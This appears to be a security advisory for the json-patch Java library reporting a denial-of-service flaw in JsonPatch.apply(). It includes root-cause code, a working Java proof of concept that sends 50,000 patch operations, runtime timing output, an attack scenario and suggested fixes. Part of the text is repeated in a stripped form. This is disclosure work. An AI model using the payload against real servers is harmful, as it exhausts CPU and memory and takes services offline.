Security Vulnerability Report
Metadata
| Field |
Value |
| Affected Version |
1.13 (latest on Maven Central) |
| Component |
JsonPatch.apply() |
| File |
src/main/java/com/github/fge/jsonpatch/JsonPatch.java:108-113 |
| CWE |
CWE-400 (Uncontrolled Resource Consumption) |
| CVSS 3.1 |
7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
Summary
JsonPatch.apply() accepts an unbounded number of patch operations with no limit, timeout, or backpressure mechanism. Each operation internally calls node.deepCopy(), resulting in O(N×M) resource consumption (N = number of operations, M = document size). A single HTTP request containing a large JSON Patch document can exhaust server CPU and memory.
Root Cause
// src/main/java/com/github/fge/jsonpatch/JsonPatch.java:108-113
public JsonNode apply(final JsonNode node) throws JsonPatchException {
JsonNode ret = node;
for (final JsonPatchOperation operation : operations) { // No limit on operations.size()!
ret = operation.apply(ret); // Each apply() calls deepCopy() internally
}
return ret;
}
There is:
- No maximum number of operations
- No timeout or operation budget
- No backpressure mechanism
deepCopy() on every operation multiplies memory consumption
Proof of Concept
Runtime verified on VM with OpenJDK 21:
--- Test 4: DoS via Unbounded Patch Operations ---
Applied 50000 operations in 68791ms, result has 50000 fields
VULNERABLE: No limit on number of patch operations accepted
Minimal reproduction:
import com.github.fge.jsonpatch.JsonPatch;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ArrayNode;
ObjectMapper mapper = new ObjectMapper();
ArrayNode ops = mapper.createArrayNode();
// Create 50,000 add operations
for (int i = 0; i < 50000; i++) {
ops.addObject()
.put("op", "add")
.put("path", "/field" + i)
.put("value", "data" + i);
}
JsonPatch patch = JsonPatch.fromJson(ops);
JsonNode target = mapper.createObjectNode();
// This takes 68+ seconds and consumes massive memory
JsonNode result = patch.apply(target); // 68,791ms!
Attack scenario:
- Attacker sends a single HTTP request with 50,000+ JSON Patch operations
JsonPatch.apply() processes all operations sequentially
- Each operation calls
deepCopy() on the growing document
- Server thread blocked for 68+ seconds; memory grows quadratically
- Multiple concurrent requests exhaust thread pool and memory
Impact
- Denial of Service: Single HTTP request blocks a server thread for 68+ seconds
- Memory exhaustion: Each operation copies the entire document; 50,000 ops on a 1KB document = ~50MB+ allocations
- Thread pool exhaustion: 4-8 concurrent malicious requests exhaust typical thread pools
- No authentication required: Any endpoint accepting JSON Patch is vulnerable
Suggested Remediation
- Add configurable maximum operation count (default e.g. 10,000):
public JsonNode apply(final JsonNode node) throws JsonPatchException {
if (operations.size() > maxOperations) {
throw new JsonPatchException("Patch exceeds maximum operation count: " + maxOperations);
}
// ... existing logic
}
-
Consider structural sharing instead of deepCopy() per operation — copy-on-write or immutable tree would reduce O(N×M) to O(N+M).
-
Add operation timeout for long-running patches.
References
Security Vulnerability Report
Metadata
JsonPatch.apply()src/main/java/com/github/fge/jsonpatch/JsonPatch.java:108-113Summary
JsonPatch.apply()accepts an unbounded number of patch operations with no limit, timeout, or backpressure mechanism. Each operation internally callsnode.deepCopy(), resulting in O(N×M) resource consumption (N = number of operations, M = document size). A single HTTP request containing a large JSON Patch document can exhaust server CPU and memory.Root Cause
There is:
deepCopy()on every operation multiplies memory consumptionProof of Concept
Runtime verified on VM with OpenJDK 21:
Minimal reproduction:
Attack scenario:
JsonPatch.apply()processes all operations sequentiallydeepCopy()on the growing documentImpact
Suggested Remediation
Consider structural sharing instead of
deepCopy()per operation — copy-on-write or immutable tree would reduce O(N×M) to O(N+M).Add operation timeout for long-running patches.
References